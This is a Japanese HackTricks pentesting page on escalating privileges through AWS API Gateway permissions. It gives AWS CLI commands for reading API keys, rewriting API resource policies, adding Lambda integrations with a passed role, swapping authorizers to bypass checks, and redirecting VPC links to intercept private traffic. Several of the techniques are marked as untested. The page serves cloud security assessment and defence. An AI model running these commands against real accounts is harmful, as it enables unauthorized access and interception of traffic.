AWS - Apigateway Privesc

HackTricksをサポートする

Apigateway

詳細については、以下を確認してください:

apigateway:POST

この権限を使用すると、設定されたAPIのAPIキーを生成できます(リージョンごと)。

aws --region <region> apigateway create-api-key

潜在的な影響: この技術では権限昇格はできませんが、機密情報にアクセスできる可能性があります。

apigateway:GET

この権限を使用すると、設定されたAPIの生成されたAPIキーを取得できます(リージョンごと)。

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

潜在的な影響: この技術では権限昇格はできませんが、機密情報にアクセスできる可能性があります。

apigateway:UpdateRestApiPolicy, apigateway:PATCH

これらの権限を持つことで、APIのリソースポリシーを変更し、自分自身が呼び出すためのアクセスを得て、APIゲートウェイが持つ可能性のあるアクセスを悪用することができます(脆弱なラムダを呼び出すなど)。

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

潜在的な影響: 通常、この技術で直接的に権限昇格はできませんが、機密情報にアクセスできる可能性があります。

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

テストが必要

apigateway:PutIntegrationapigateway:CreateDeployment、および iam:PassRole の権限を持つ攻撃者は、IAMロールが付与されたLambda関数を使用して既存のAPI Gateway REST APIに新しい統合を追加することができます。攻撃者はその後、Lambda関数をトリガーして任意のコードを実行し、IAMロールに関連付けられたリソースにアクセスできる可能性があります

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在的な影響: Lambda関数のIAMロールに関連付けられたリソースへのアクセス。

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

テストが必要

apigateway:UpdateAuthorizer および apigateway:CreateDeployment の権限を持つ攻撃者は、既存のAPI Gatewayオーソライザーを変更して、セキュリティチェックを回避したり、APIリクエストが行われる際に任意のコードを実行したりすることができます。

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在的な影響: セキュリティチェックのバイパス、APIリソースへの不正アクセス。

テストが必要

apigateway:UpdateVpcLinkの権限を持つ攻撃者は、既存のVPCリンクを異なるネットワークロードバランサーを指すように変更でき、プライベートAPIトラフィックを不正または悪意のあるリソースにリダイレクトする可能性があります

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

潜在的影響: プライベートAPIリソースへの不正アクセス、APIトラフィックの傍受または中断。

Support HackTricks

Last updated